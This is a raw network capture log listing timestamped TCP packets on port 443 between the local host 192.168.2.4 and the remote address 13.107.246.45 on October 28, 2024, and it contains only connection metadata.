Oct 28, 2024 06:28:17.985992908 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:17.986000061 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.039730072 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.040178061 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.040198088 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.040805101 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.040811062 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.055282116 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.055310011 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.055356026 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.055361032 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.055397034 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.055701017 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.055701017 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.055747986 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.055780888 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.059146881 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.059178114 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.059252977 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.059417009 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.059429884 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.113672972 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.113835096 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.113995075 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.113995075 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.114949942 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.115016937 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.115031004 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.115109921 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.115170002 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.115227938 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.115246058 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.115258932 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.115266085 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.116799116 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.116826057 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.116894007 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.117007971 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.117014885 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.117610931 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.117623091 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.117702961 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.117834091 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.117846012 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.170053959 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.170260906 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.170330048 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.170540094 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.170548916 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.170582056 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.170588017 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.173645973 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.173666954 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.173755884 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.173916101 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.173927069 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.404175997 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.404685974 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.404700994 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.405179024 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.405184984 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.534621000 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.534687996 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.534796953 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.534849882 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.534910917 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.547813892 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.547836065 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.547861099 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.547868013 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.551126957 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.551213026 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.551295996 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.551456928 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.551477909 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.797219038 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.815888882 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.815908909 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.816504955 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.816510916 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.852250099 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.862412930 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.874422073 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.874458075 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.874790907 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.874797106 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.875283957 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.875303030 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.875633001 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.875638962 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.909064054 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.920845032 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.920860052 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.921473980 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.921479940 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.944312096 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.944411039 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.944474936 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.946662903 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.946705103 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.946732044 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.946747065 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.965450048 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.965548992 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:18.965641975 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.966068029 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:18.966092110 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.000193119 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.000268936 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.000317097 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.000534058 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.000538111 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.000547886 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.000550985 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003238916 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003300905 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003375053 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.003396988 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003432989 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003482103 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.003647089 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.003665924 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.003705978 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.003712893 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.004167080 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.004235983 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.004316092 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.004833937 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.004867077 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.006187916 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.006239891 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.006321907 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.006436110 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.006469011 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046384096 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046493053 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046542883 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.046555996 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046593904 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046639919 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.046746969 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.046766996 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.046777010 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.046782017 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.049535036 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.049619913 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.049690008 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.049850941 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.049885035 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.287287951 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.287902117 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.287939072 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.288521051 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.288536072 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.417778015 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.417913914 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.417989969 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.418195963 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.418229103 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.418256998 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.418272018 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.421871901 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.421916008 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.422000885 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.422204971 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.422221899 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.708022118 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.708621979 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.708672047 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.709275007 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.709292889 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.748064995 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.748562098 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.748621941 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.749165058 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.749177933 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.750936031 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.751394987 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.751420021 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.751969099 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.751981974 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.800132990 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.800591946 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.800661087 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.801122904 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.801137924 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.837754011 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.837865114 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.837938070 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.837961912 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.838007927 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.838069916 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.838114023 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.838154078 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.838193893 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.838208914 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.841249943 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.841309071 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.841403008 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.841598034 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.841628075 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.875761032 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.875905991 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.875988960 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.876276016 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.876327991 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.876363039 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.876379967 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.879801989 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.879857063 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.879954100 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.880139112 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.880156994 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.883759022 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.883794069 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.883841991 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.883846045 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.883889914 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.884107113 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.884130001 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.884156942 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.884169102 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.886738062 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.886776924 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.886854887 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.887049913 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.887068987 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.930401087 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.930552959 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.930624962 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.930704117 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.930732965 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.930758953 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.930775881 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.933371067 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.933403969 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:19.933530092 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.933657885 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:19.933674097 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.170629025 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.171812057 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.171845913 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.172759056 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.172765970 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.305012941 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.305197001 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.305253029 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.305697918 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.305716038 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.305728912 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.305735111 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.308820963 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.308845043 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.308924913 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.309124947 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.309139967 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.572778940 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.573354959 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.573394060 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.574330091 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.574342012 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.608397007 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.608783007 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.608797073 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.609345913 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.609353065 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.659111023 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.659538031 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.659559965 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.660063028 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.660072088 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.660484076 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.660862923 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.660896063 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.661278963 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.661286116 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.737607956 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.737689018 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.737797976 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.738023996 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.738054037 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.738086939 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.738104105 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.741235971 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.741288900 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.741426945 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.741539955 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.741553068 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.754251003 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.754383087 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.754571915 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.754571915 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.754571915 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.757528067 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.757555008 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.757626057 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.757925034 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.757940054 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.789766073 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.789828062 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.789902925 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.789921045 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.790047884 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.790047884 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.790110111 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.790128946 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.792587042 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.792635918 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.792704105 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.792903900 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.792922974 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.796310902 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.796370983 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.796464920 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.796516895 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.796516895 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.796629906 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.796653032 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.796668053 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.796674013 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.798922062 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.798932076 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:20.799055099 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.799223900 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:20.799237013 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.055385113 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.055448055 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.058232069 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.059154987 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.059181929 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.059856892 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.059870005 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.190095901 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.190252066 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.190370083 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.190699100 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.190730095 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.190761089 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:21.190773964 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:21.194117069 CET	49903	443	192.168.2.4	13.107.246.45
